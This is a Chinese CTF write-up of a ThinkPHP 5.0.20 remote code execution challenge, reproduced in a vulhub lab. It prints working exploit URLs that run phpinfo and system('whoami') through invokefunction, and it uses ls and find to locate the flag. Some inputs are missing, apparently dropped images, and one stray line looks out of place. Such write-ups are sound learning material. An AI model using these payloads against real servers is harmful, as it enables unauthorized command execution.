CTF-攻防世界-web-php_rce(ThinkPHP远程代码执⾏)
题⽬
今天做CTF的时候,遇到下⾯这道题,看上去应该跟ThinkPHP版本5的相关漏洞。之前听过ThinkPHP有漏洞,具体情况不清楚。。。
解题过程
去vulhub上搜了下ThinkPHP,还真有,把docker容器打开看了下,页⾯⼀摸⼀样哈哈:
这是⼀个远程代码执⾏漏洞,先学习vulhub复现这个漏洞的过程:
输⼊:your-ip:8080/index.php?s=/Index/\think\app/invokefunction&function=call_user_func_array
&vars[0]=phpinfo&vars[1][]=-1,可执⾏phpinfo:
拉到页⾯底部,看到ThinkPHP的版本是5.0.20:
可以执⾏phpinfo,那可不可以执⾏其他命令呢?查了⼀下⽹上的payload,如下:
输⼊:your-ip:8080/index.php?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami
返回:www-data www-data
再回到CTF的这道题,应该考的就是这个命令执⾏的漏洞:
输⼊:
输出:成功执⾏phpinfo
再执⾏ls命令查看当前⽬录
输⼊:
spring framework rce漏洞复现返回如下,再把index.php和router.php打开看了⼀下,⽊有发现flag,再把request和response也检查了下,也⽊有flag。。
再逐级查看上级⽬录,最终看到⼀个名为flag的⽂件:
输⼊:
返回:
查看⼀下flag的内容:
输⼊:
成功到flag
看了其他⼈写WP,有更⽅便的查⽂件的linux命令:find / -name "*flag*" (linux命令硬伤来了 ...>_<....)
输⼊:
返回:
再直接查看⽂件就好了:
⽐我⼀级⼀级的省事多了。。
本⽂仅⽤于技术学习和交流,严禁⽤于⾮法⽤途,否则产⽣的⼀切后果⾃⾏承担。
如需转载,请注明出处,这是对他⼈劳动成果的尊重。
版权声明:本站内容均来自互联网,仅供演示用,请勿用于商业和其他非法用途。如果侵犯了您的权益请与我们联系QQ:729038198,我们将在24小时内删除。
发表评论